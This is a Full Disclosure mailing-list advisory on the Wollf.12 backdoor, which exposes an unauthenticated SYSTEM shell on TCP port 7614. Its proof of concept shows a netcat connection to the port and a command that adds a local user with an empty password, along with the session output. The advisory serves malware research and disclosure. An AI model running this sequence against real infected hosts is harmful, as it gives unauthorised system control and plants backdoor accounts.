full-disclosure - [FD] Backdoor.Win32.Wollf.12 / Unauthenticated Remote Command Execution

Open Source and information security mailing list archives

Date: Sun, 6 Jun 2021 22:41:50 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.12 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/911e63e28b1d177120cca16eacf3b602.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.12
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7614 and drops an executable
named "wrm.exe" that runs with SYSTEM integrity. Third-party attackers who
can reach the system can connect, switch to DOS prompt mode and run any OS
commands re-compromising the already infected system.
Type: PE32
MD5: 911e63e28b1d177120cca16eacf3b602
Vuln ID: MVID-2021-0239
Dropped files: wrm.exe
Disclosure: 06/06/2021

Exploit/PoC:
nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.2
Code by wollf, http://www.xfocus.org

[DESKTOP-2C4IWHP@C:\WINDOWS\system32]#DOS
DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
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use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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